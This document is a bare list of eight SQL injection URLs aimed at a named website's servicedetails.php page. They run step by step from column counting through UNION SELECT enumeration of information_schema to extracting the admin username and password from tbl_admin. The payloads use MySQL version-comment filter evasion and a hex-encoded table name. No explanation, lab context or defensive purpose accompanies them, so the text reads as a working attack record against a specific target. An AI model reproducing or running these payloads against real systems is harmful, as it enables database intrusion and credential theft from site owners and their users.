http://www.demoadds.com/7hillsservices/servicedetails.php?sv=54%27+order+by+7--+ 
 http://www.demoadds.com/7hillsservices/servicedetails.php?sv=-54%27+/*!50000union*/+select+1,2,3,4,5,6,7--+ 
 http://www.demoadds.com/7hillsservices/servicedetails.php?sv=-54'+/*!50000union*/+select+1,2,(table_name),4,5,6,7+from+/*!information_schema*/.tables--+ 
 http://www.demoadds.com/7hillsservices/servicedetails.php?sv=-54%27+/*!50000union*/+select+1,2,%28table_name%29,4,5,6,7+from+/*!information_schema*/.tables+where+table_schema=database%28%29+limit+6+offset+5--+  
http://www.demoadds.com/7hillsservices/servicedetails.php?sv=-54%27+/*!50000union*/+select+1,2,%28column_name%29,4,5,6,7+from+/*!information_schema*/.columns+where+table_name=0x74626c5f61646d696e+limit+2+offset+1--+  
http://www.demoadds.com/7hillsservices/servicedetails.php?sv=-54%27+/*!50000union*/+select+1,2,%28column_name%29,4,5,6,7+from+/*!information_schema*/.columns+where+table_name=0x74626c5f61646d696e+limit+3+offset+2--+  
http://www.demoadds.com/7hillsservices/servicedetails.php?sv=-54%27+/*!50000union*/+select+1,2,%28Str_admin_user_name%29,4,5,6,7+from+tbl_admin--+
 http://www.demoadds.com/7hillsservices/servicedetails.php?sv=-54%27+/*!50000union*/+select+1,2,%28Str_admin_password%29,4,5,6,7+from+tbl_admin--+